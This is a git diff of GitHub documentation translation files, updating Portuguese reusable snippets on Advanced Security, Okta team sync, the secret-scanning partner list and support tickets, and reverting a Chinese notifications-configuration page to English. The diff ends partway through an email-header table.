{% data variables.product.prodname_advanced_security %} dá a você e aos seus usuários acesso a recursos que ajudam a tornar seus repositórios e códigos mais seguros. {% ifversion ghes %}Para obter mais informações, consulte "[Sobre o GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security)" ou entre em contato com {% data variables.contact.contact_enterprise_sales %}.{% endif %} +Se você não pode ver **{% data variables.product.prodname_advanced_security %}** na barra lateral. Isso significa que sua licença não inclui suporte para funcionalidades de {% data variables.product.prodname_advanced_security %}, incluindo {% data variables.product.prodname_code_scanning %} e {% data variables.product.prodname_secret_scanning %}. A licença do {% data variables.product.prodname_advanced_security %} dá a você e aos seus usuários acesso a recursos que ajudam a tornar seus repositórios e códigos mais seguros. For more information, see "[About GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security)" or contact {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/pt-BR/data/reusables/gated-features/dependency-review.md b/translations/pt-BR/data/reusables/gated-features/dependency-review.md index e9c8291901..0a7c119f65 100644 --- a/translations/pt-BR/data/reusables/gated-features/dependency-review.md +++ b/translations/pt-BR/data/reusables/gated-features/dependency-review.md @@ -1,3 +1,3 @@ -{% ifversion fpt or ghec %}Dependency review is available for all public repositories and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %} +{% ifversion fpt or ghec %}Dependency review is available for all public repositories, as well as well as private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %} {% ifversion ghes > 3.1 %}Dependency review is available for organization-owned repositories where {% data variables.product.prodname_GH_advanced_security %} is enabled. {% endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/pt-BR/data/reusables/gated-features/okta-team-sync.md b/translations/pt-BR/data/reusables/gated-features/okta-team-sync.md deleted file mode 100644 index 4c520232ed..0000000000 --- a/translations/pt-BR/data/reusables/gated-features/okta-team-sync.md +++ /dev/null @@ -1,9 +0,0 @@ -{% ifversion not ghae %} - -{% note %} - -**Observação:** A sincronização de equipes com Okta está atualmente na versão beta e, portanto, sujeita a alterações. Entre em contato com o representante da sua conta GitHub Sales para registrar-se na versão beta. - -{% endnote %} - -{% endif %} diff --git a/translations/pt-BR/data/reusables/github-actions/enabled-actions-description.md b/translations/pt-BR/data/reusables/github-actions/enabled-actions-description.md index efc8363fc2..3f5092e9ca 100644 --- a/translations/pt-BR/data/reusables/github-actions/enabled-actions-description.md +++ b/translations/pt-BR/data/reusables/github-actions/enabled-actions-description.md @@ -1 +1 @@ -Quando você habilita o {% data variables.product.prodname_actions %}, os fluxos de trabalho são capazes de executar ações localizadas no repositório e em qualquer outro repositório público. +When you enable {% data variables.product.prodname_actions %}, workflows are able to run actions located within your repository and any other{% ifversion fpt %} public{% elsif ghec or ghes %} public or internal{% elsif ghae %} internal{% endif %} repository. diff --git a/translations/pt-BR/data/reusables/github-actions/private-repository-forks-overview.md b/translations/pt-BR/data/reusables/github-actions/private-repository-forks-overview.md index d976412e50..a3ad8ce5ff 100644 --- a/translations/pt-BR/data/reusables/github-actions/private-repository-forks-overview.md +++ b/translations/pt-BR/data/reusables/github-actions/private-repository-forks-overview.md @@ -1,4 +1,4 @@ -Se você depende do uso das bifurcações dos seus repositórios privados, você pode configurar políticas que controlam como os usuários podem executar fluxos de trabalho em eventos `pull_request`. Available to private and internal repositories only, you can configure these policy settings for enterprises, organizations, or repositories. For enterprise accounts, the policies are applied to all repositories in all organizations. +Se você depende do uso das bifurcações dos seus repositórios privados, você pode configurar políticas que controlam como os usuários podem executar fluxos de trabalho em eventos `pull_request`. Available to private {% ifversion ghec or ghes or ghae %}and internal{% endif %} repositories only, you can configure these policy settings for {% ifversion ghec %}enterprises, {% elsif ghes or ghae %}your enterprise, {% endif %}organizations, or repositories.{% ifversion ghec or ghes or ghae %} For enterprises, the policies are applied to all repositories in all organizations.{% endif %} - **Executar fluxos de trabalho de pull requests** - Permite que os usuários executem fluxos de trabalho de pull requests, usando um `GITHUB_TOKEN` com permissão somente leitura e sem acesso a segredos. - **Enviar tokens para fluxos de trabalho a partir de pull requests** - Permite que os pull requests das bifurcações usem um `GITHUB_TOKEN` com permissão de gravação. diff --git a/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-confirm-saml.md b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-confirm-saml.md index 1a3ac20eed..b5023afb5e 100644 --- a/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-confirm-saml.md +++ b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-confirm-saml.md @@ -1 +1 @@ -3. Confirme que o SAML SSO está habilitado. For more information, see "[Gerenciar logon único de SAML para sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/)". +3. Confirm that SAML SSO is enabled for your organization. For more information, see "[Gerenciar logon único de SAML para sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/)". diff --git a/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-confirm-scim.md b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-confirm-scim.md new file mode 100644 index 0000000000..f7cfaf6571 --- /dev/null +++ b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-confirm-scim.md @@ -0,0 +1 @@ +1. We recommend you confirm that your users have SAML enabled and have a linked SCIM identity to avoid potential provisioning errors. For help auditing your users, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." For help resolving unlinked SCIM identities, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." \ No newline at end of file diff --git a/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md index 7b2b739d40..882792b2a9 100644 --- a/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md +++ b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md @@ -1,5 +1,5 @@ -Para ativar a sincronização da equipe para a Okta, você ou seu administrador de IdP devem: +Before you enable team synchronization for Okta, you or your IdP administrator must: -- Ativar SAML SSO e SCIM para sua organização usando o Okta. Para obter mais informações, consulte "[Configuring SAML single sign-on and SCIM using Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)" (Configurar SAML logon único e SCIM usando Okta) +- Configure the SAML, SSO, and SCIM integration for your organization using Okta. Para obter mais informações, consulte "[Configuring SAML single sign-on and SCIM using Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)" (Configurar SAML logon único e SCIM usando Okta) - Forneça o URL do inquilino para sua instância Okta. - Gere um token SSWS válido com permissões de administrador somente leitura para a sua instalação do Okta como usuário do serviço. Para obter mais informações, consulte [Criar o token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) e [Usuários de serviços](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm) na documentação de Okta. diff --git a/translations/pt-BR/data/reusables/package_registry/checksum-maven-plugin.md b/translations/pt-BR/data/reusables/package_registry/checksum-maven-plugin.md index 760206d186..3d980144e1 100644 --- a/translations/pt-BR/data/reusables/package_registry/checksum-maven-plugin.md +++ b/translations/pt-BR/data/reusables/package_registry/checksum-maven-plugin.md @@ -1,5 +1,5 @@ {%- ifversion ghae %} -1. No elemento `plugins` do arquivo *pom.xml*, adicione o plugin [checksum-maven-plugin](http://checksum-maven-plugin.nicoulaj.net/index.html) e configure o plugin para enviar pelo menos comprovações SHA-256. +1. In the `plugins` element of the *pom.xml* file, add the [checksum-maven-plugin](https://search.maven.org/artifact/net.nicoulaj.maven.plugins/checksum-maven-plugin) plugin, and configure the plugin to send at least SHA-256 checksums. ```xml diff --git a/translations/pt-BR/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md b/translations/pt-BR/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md index 7b9a1360aa..0abe7f49c7 100644 --- a/translations/pt-BR/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md +++ b/translations/pt-BR/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md @@ -6,6 +6,6 @@ - When [LDAP Sync is enabled](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap/#enabling-ldap-sync), if you remove a person from a repository, they will lose access but their forks will not be deleted. Se a pessoa for adicionada a uma equipe com acesso ao repositório original da organização dentro de três meses, seu acesso às bifurcações será automaticamente restaurado na próxima sincronização.{% endif %} - Você é responsável por garantir que as pessoas que perderam o acesso a um repositório excluam qualquer informação confidencial ou de propriedade intelectual. -- Pessoas com permissões de administrador a um repositório privado{% ifversion fpt or ghes or ghae or ghec %} ou interno{% endif %} não podem permitir a bifurcação desse repositório, e os proprietários da organização podem impedir a bifurcação de qualquer repositório privado{% ifversion fpt or ghes or ghae or ghec %} ou interno{% endif %} em uma organização. Para mais informações, consulte "[Gerenciar a política de bifurcação da sua organização](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" e "[Gerenciar a política de bifurcação do seu repositório](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)". +- Pessoas com permissões de administrador a um repositório privado{% ifversion ghes or ghae or ghec %} ou interno{% endif %} não podem permitir a bifurcação desse repositório, e os proprietários da organização podem impedir a bifurcação de qualquer repositório privado{% ifversion ghes or ghae or ghec %} ou interno{% endif %} em uma organização. Para mais informações, consulte "[Gerenciar a política de bifurcação da sua organização](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" e "[Gerenciar a política de bifurcação do seu repositório](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)". {% endwarning %} diff --git a/translations/pt-BR/data/reusables/repositories/enable-security-alerts.md b/translations/pt-BR/data/reusables/repositories/enable-security-alerts.md index b9902832d2..88d7edcfa8 100644 --- a/translations/pt-BR/data/reusables/repositories/enable-security-alerts.md +++ b/translations/pt-BR/data/reusables/repositories/enable-security-alerts.md @@ -1,4 +1,4 @@ {% ifversion ghes or ghae-issue-4864 %} Enterprise owners must enable -{% data variables.product.prodname_dependabot %} alerts for vulnerable dependencies for {% data variables.product.product_location %} before you can use this feature. Para obter mais informações, consulte[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na sua conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." +{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies for {% data variables.product.product_location %} before you can use this feature. Para obter mais informações, consulte[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na sua conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." {% endif %} diff --git a/translations/pt-BR/data/reusables/repositories/security-alerts-x-github-severity.md b/translations/pt-BR/data/reusables/repositories/security-alerts-x-github-severity.md index eaeb2562f9..2741a8f189 100644 --- a/translations/pt-BR/data/reusables/repositories/security-alerts-x-github-severity.md +++ b/translations/pt-BR/data/reusables/repositories/security-alerts-x-github-severity.md @@ -1 +1 @@ -Email notifications for {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}security alerts{% endif %} that affect one or more repositories include the `X-GitHub-Severity` header field. You can use the value of the `X-GitHub-Severity` header field to filter email notifications for {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}security alerts{% endif %}. +Email notifications for {% data variables.product.prodname_dependabot_alerts %} that affect one or more repositories include the `X-GitHub-Severity` header field. You can use the value of the `X-GitHub-Severity` header field to filter email notifications for {% data variables.product.prodname_dependabot_alerts %}. diff --git a/translations/pt-BR/data/reusables/saml/okta-edit-provisioning.md b/translations/pt-BR/data/reusables/saml/okta-edit-provisioning.md index c7114b781c..e1bdee65e1 100644 --- a/translations/pt-BR/data/reusables/saml/okta-edit-provisioning.md +++ b/translations/pt-BR/data/reusables/saml/okta-edit-provisioning.md @@ -1,3 +1,4 @@ +9. To avoid syncing errors and confirm that your users have SAML enabled and SCIM linked identities, we recommend you audit your organization's users. For more information, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." 10. À direita do "Provisionamento para o App", clique em **Editar**. ![Botão "Editar" para opções de provisionamento do aplicativo do Okta](/assets/images/help/saml/okta-provisioning-to-app-edit-button.png) 11. À direita de "Criar usuários", selecione **Habilitar**. ![Caixa de seleção "Habilitar" para a opção de "Criar usuários" do aplicativo do Okta](/assets/images/help/saml/okta-provisioning-enable-create-users.png) 12. À direita de "Atualizar Atributos do Usuário", selecione **Habilitar**. ![Caixa de seleção "Habilitar" para a opção de "Atualizar atributos do usuário " do aplicativo do Okta](/assets/images/help/saml/okta-provisioning-enable-update-user-attributes.png) diff --git a/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md index 7cd911a412..d3067c8c01 100644 --- a/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -76,6 +76,8 @@ Google | Google Cloud Storage Service Account Access Key ID | google_cloud_stora {%- ifversion fpt or ghec or ghes > 3.2 %} Google | Google Cloud Storage User Access Key ID | google_cloud_storage_user_access_key_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Google OAuth Access Token | google_oauth_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client ID | google_oauth_client_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} diff --git a/translations/pt-BR/data/reusables/support/submit-a-ticket.md b/translations/pt-BR/data/reusables/support/submit-a-ticket.md index 13a2d52b8b..d725b2c274 100644 --- a/translations/pt-BR/data/reusables/support/submit-a-ticket.md +++ b/translations/pt-BR/data/reusables/support/submit-a-ticket.md @@ -7,6 +7,9 @@ - Escolha **{% data variables.product.support_ticket_priority_high %}** para relatar problemas que afetam as operações de negócios, incluindo {% ifversion fpt or ghec %}removendo dados confidenciais (commits, issues, pull requests, anexos carregados) de suas próprias contas e restaurações da organização{% else %}problemas de desempenho do sistema{% endif %}ou para relatar erros críticos. - Escolha **{% data variables.product.support_ticket_priority_normal %}** para {% ifversion fpt or ghec %}solicitar recuperação de conta ou remoção de sinalizador de spam, relatar problemas de login do usuário{% else %}fazer solicitações técnicas, como alterações de configuração e integrações de terceiros{% endif %}e para relatar erros não críticos. - Escolha **{% data variables.product.support_ticket_priority_low %}** para fazer perguntas gerais e enviar solicitações para novos recursos, compras, treinamentos ou check-ups do ambiente de segurança de Ti. +{%- ifversion ghes or ghec %} +1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback. Select **Request a callback from GitHub Support**, select the country code drop-down menu to choose your country, and enter your phone number. ![Request callback option](/assets/images/help/support/request-callback.png) +{%- endif %} 1. Em "Subject" (Assunto), insira um título descritivo para o problema que está ocorrendo. ![Campo Subject (Assunto)](/assets/images/help/support/subject-field.png) 5. Em "How can we help" (Como podemos ajudar), insira as informações adicionais que ajudarão a equipe de suporte a resolver o problema. As informações úteis podem incluir: ![Campo How can we help (Como podemos ajudar)](/assets/images/help/support/how-can-we-help-field.png) - Etapas para reproduzir o problema diff --git a/translations/pt-BR/data/variables/contact.yml b/translations/pt-BR/data/variables/contact.yml index 5a1647fc95..aea5946c1a 100644 --- a/translations/pt-BR/data/variables/contact.yml +++ b/translations/pt-BR/data/variables/contact.yml @@ -10,7 +10,7 @@ contact_dmca: >- {% ifversion fpt or ghec %}[Formulário de reivindicação de direitos autorais](https://github.com/contact/dmca){% endif %} contact_privacy: >- {% ifversion fpt or ghec %}[Formulário de contato sobre privacidade](https://github.com/contact/privacy){% endif %} -contact_enterprise_sales: "[Equipe de Vendas do GitHub](https://enterprise.github.com/contact)" +contact_enterprise_sales: "[Equipe de Vendas do GitHub](https://github.com/enterprise/contact)" contact_feedback_actions: '[Formulário de feedback do GitHub Actions](https://support.github.com/contact/feedback?contact[category]=actions)' #The team that provides Standard Support enterprise_support: 'Suporte do GitHub Enterprise' diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md index dd15e2976e..0075ffaf32 100644 --- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md +++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md @@ -1,6 +1,6 @@ --- -title: 配置通知 -intro: '选择 {% data variables.product.prodname_dotcom %} 上您想要接收其通知的活动类型以及您希望如何发送这些更新。' +title: Configuring notifications +intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.' redirect_from: - /articles/about-web-notifications - /format-of-notification-emails/ @@ -23,82 +23,81 @@ versions: topics: - Notifications --- - {% ifversion ghes %} {% data reusables.mobile.ghes-release-phase %} {% endif %} -## 通知递送选项 +## Notification delivery options -您可以在以下位置的 {% data variables.product.product_location %} 上接收活动的通知。 +You can receive notifications for activity on {% data variables.product.product_location %} in the following locations. - - {% data variables.product.product_location %} Web 界面{% ifversion fpt or ghes or ghec %}中的通知收件箱 - - {% data variables.product.prodname_mobile %} 上的通知收件箱，它与 {% data variables.product.product_location %} 上的收件箱同步{% endif %} - - 使用经验证电子邮件地址的电子邮件客户端，也可以与 {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 及 {% data variables.product.prodname_mobile %}{% endif %} 上的通知收件箱同步 + - The notifications inbox in the {% data variables.product.product_location %} web interface{% ifversion fpt or ghes or ghec %} + - The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox on {% data variables.product.product_location %}{% endif %} + - An email client that uses a verified email address, which can also sync with the notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} {% ifversion fpt or ghes or ghec %} -{% data reusables.notifications-v2.notifications-inbox-required-setting %} 更多信息请参阅“[选择通知设置](#choosing-your-notification-settings)”。 +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Choosing your notification settings](#choosing-your-notification-settings)." {% endif %} {% data reusables.notifications.shared_state %} -### 通知收件箱的优点 +### Benefits of the notifications inbox -{% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 和 {% data variables.product.prodname_mobile %}{% endif %} 上的通知收件箱包含专为您的 {% data variables.product.prodname_dotcom %} 通知流程设计的分类选项，包括： - - 一次对多种通知进行分类。 - - 将已完成的通知标记为**完成**并从收件箱中删除它们。 要查看标记为**完成**的所有通知，请使用 `is:done` 查询。 - - 保存通知以供以后查看。 保存的通知将在收件箱中标记并无限期保留。 要查看所有已保存的通知，请使用 `is:saved` 查询。 - - 取消订阅并从收件箱中删除通知。 - - 从通知收件箱预览 {% data variables.product.product_location %} 上产生通知的议题、拉取请求或团队讨论。 - - 使用 `reasons` 标签查看收件箱中收到通知的最新原因之一。 - - 创建自定义过滤器，以便按需要关注不同的通知。 - - 按仓库或日期对收件箱中的通知进行分组，以快速概览通知，减少上下文切换 +The notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to: + - Triage multiple notifications at once. + - Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query. + - Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query. + - Unsubscribe and remove a notification from your inbox. + - Preview the issue, pull request, or team discussion where the notification originates on {% data variables.product.product_location %} from within the notifications inbox. + - See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label. + - Create custom filters to focus on different notifications when you want. + - Group notifications in your inbox by repository or date to get a quick overview with less context switching {% ifversion fpt or ghes or ghec %} -此外，您可以通过 {% data variables.product.prodname_mobile %} 在移动设备上接收和分类通知。 更多信息请参阅“[使用移动版 GitHub 管理通知设置](#managing-your-notification-settings-with-github-for-mobile)”或“[移动版 GitHub](/github/getting-started-with-github/github-for-mobile)”。 +In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see "[Managing your notification settings with GitHub for mobile](#managing-your-notification-settings-with-github-for-mobile)" or "[GitHub for mobile](/github/getting-started-with-github/github-for-mobile)." {% endif %} -### 对通知使用电子邮件客户端的优点 +### Benefits of using an email client for notifications -使用电子邮件客户端的一个好处是，可以无限期地保留所有通知，具体取决于电子邮件客户端的存储容量。 收件箱通知在 {% data variables.product.prodname_dotcom %} 上仅保留 5 个月，除非您将它们标记为 **Saved（已保存）**。 **Saved（已保存）**通知将无限期保留。 有关收件箱保留政策的更多信息，请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)”。 +One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)." -向电子邮件客户端发送通知还允许您根据电子邮件客户端的设置（可以包括自定义或颜色编码的标签）自定义收件箱。 +Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels. -电子邮件通知还允许您灵活地设置收到的通知类型，并允许您选择不同的电子邮件地址进行更新。 例如，您可以向经验证的个人电子邮件地址发送仓库的某些通知。 有关电子邮件自定义选项的更多信息，请参阅“[自定义电子邮件通知](#customizing-your-email-notifications)”。 +Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a verified personal email address. For more information, about your email customization options, see "[Customizing your email notifications](#customizing-your-email-notifications)." -## 关于参与和查看通知 +## About participating and watching notifications -关注仓库，意味着订阅该仓库中的活动更新。 同样，关注特定团队的讨论，意味着订阅该团队页面上的所有对话更新。 更多信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”。 +When you watch a repository, you're subscribing to updates for activity in that repository. Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." -要查看您关注的仓库，请参阅[关注页面](https://github.com/watching)。 更多信息请参阅“[在 GitHub 上管理订阅和通知](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)”。 +To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see "[Managing subscriptions and notifications on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)." {% ifversion ghae or ghes < 3.1 %} -### 配置通知 +### Configuring notifications {% endif %} -您可以在资源库页面或在您观看页面上配置仓库的通知。{% ifversion ghes < 3.1 %} 您可以选择仅接收有关仓库中发布的通知，或忽略有关仓库的所有通知。{% endif %} +You can configure notifications for a repository on the repository page, or on your watching page.{% ifversion ghes < 3.1 %} You can choose to only receive notifications for releases in a repository, or ignore all notifications for a repository.{% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -### 关于自定义通知 -您可以自定义仓库的通知。 例如，您可以选择仅在仓库中发生一类或多类事件 ({% data reusables.notifications-v2.custom-notification-types %}) 的更新时收到通知，或者忽略仓库的所有通知。 -{% endif %} 更多信息请参阅下面的“[配置单个仓库的关注设置](#configuring-your-watch-settings-for-an-individual-repository)”。 +### About custom notifications +You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. +{% endif %} For more information, see "[Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository)" below. -### 参与对话 -每当您在对话中发表评论或有人 @提及您的用户名时，您都在_参与_对话。 默认情况下，当您参与对话时，会自动订阅该对话。 您可以通过单击议题或拉取请求上的 **Unsubscribe（取消订阅）**或通过通知收件箱中的 **Unsubscribe（取消订阅）**选项，手动取消订阅已参与的对话。 +### Participating in conversations +Anytime you comment in a conversation or when someone @mentions your username, you are _participating_ in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox. -对于您关注或参与的对话，您可以选择是通过电子邮件还是 {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 和 {% data variables.product.prodname_mobile %}{% endif %} 上的收件箱接收通知。 +For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %}. -![参与和关注通知选项](/assets/images/help/notifications-v2/participating-and-watching-options.png) +![Participating and watching notifications options](/assets/images/help/notifications-v2/participating-and-watching-options.png) -例如： - - 如果您不希望将通知发送到您的电子邮件地址，请取消选中 **email（电子邮件）**以便参与和查看通知。 - - 如果您希望在参与对话时通过电子邮件接收通知，则可以选中“Participating（参与）”下的 **email（电子邮件）**。 +For example: + - If you don't want notifications to be sent to your email, unselect **email** for participating and watching notifications. + - If you want to receive notifications by email when you've participated in a conversation, then you can select **email** under "Participating". -如果您未对 Web{% ifversion fpt or ghes or ghec %} 和移动{% endif %}启用关注或参与通知，则您的通知收件箱不会收到任何更新。 +If you do not enable watching or participating notifications for web{% ifversion fpt or ghes or ghec %} and mobile{% endif %}, then your notifications inbox will not have any updates. -## 自定义电子邮件通知 +## Customizing your email notifications -在启用电子邮件通知后，{% data variables.product.product_location %} 将以多部分电子邮件向您发送通知，其中包含内容的 HTML 和明文副本。 电子邮件通知内容包含出现在 {% data variables.product.product_location %} 上的原始内容中的任何 Markdown、@提及、表情符号、哈希链接等。 如果您只想查看电子邮件中的文本，可以配置电子邮件客户端只显示明文副本。 +After enabling email notifications, {% data variables.product.product_location %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.product.product_location %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only. {% data reusables.notifications.outbound_email_tip %} @@ -106,151 +105,162 @@ topics: {% ifversion fpt or ghec %} -如果您使用 Gmail，可以单击通知电子邮件旁边的按钮访问生成该通知的原始议题或拉取请求。 +If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification. -![Gmail 中的按钮](/assets/images/help/notifications/gmail-buttons.png) +![Buttons in Gmail](/assets/images/help/notifications/gmail-buttons.png) {% endif %} -选择一个默认电子邮件地址，用于发送您参与或关注的对话的更新。 您还可以指定希望使用默认电子邮件地址接收 {% data variables.product.product_location %} 上哪些活动的更新。 例如，选择您的默认电子邮件地址是否要接收以下更新： - - 对问题和拉取请求的评论。 - - 拉取请求审查. - - 拉取请求推送。 - - 您自己的更新，例如当您打开、评论或关闭议题或拉取请求时。 +Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.product.product_location %} you want to receive updates for using your default email address. For example, choose whether you want updates to your default email from: + - Comments on issues and pull requests. + - Pull request reviews. + - Pull request pushes. + - Your own updates, such as when you open, comment on, or close an issue or pull request. -您还可以向不同电子邮件地址发送通知，具体取决于拥有仓库的组织。 您的组织可能要求验证特定域的电子邮件地址。 更多信息请参阅“[选择接收组织的电子邮件通知的位置](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)”。 +Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see "[Choosing where your organization’s email notifications are sent](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)." -您也可以将特定仓库的通知发送到电子邮件地址。 更多信息请参阅“[关于推送到仓库的电子邮件通知](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)。” +You can also send notifications for a specific repository to an email address. For more information, see "[About email notifications for pushes to your repository](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)." {% data reusables.notifications-v2.email-notification-caveats %} -## 过滤电子邮件通知 +## Filtering email notifications -{% data variables.product.product_location %} 发送的每封电子邮件通知都包含标头信息。 每封电子邮件的标头信息都是一致的，因此可用于电子邮件客户端中过滤或转发所有 {% data variables.product.prodname_dotcom %} 通知，或特定类型的 {% data variables.product.prodname_dotcom %} 通知。 +Each email notification that {% data variables.product.product_location %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications. -如果您认为收到的通知不属于您，请检查 `X-GitHub-recepient` 和 `X-GitHub-recipient-Address` 标头。 这些标头显示预期的收件人。 根据您的电子邮件设置，您可能会收到预期发给其他用户的通知。 +If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user. -来自 {% data variables.product.product_location %} 的电子邮件通知包含以下标头信息： +Email notifications from {% data variables.product.product_location %} contain the following header information: -| 标头 | 信息 | -| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 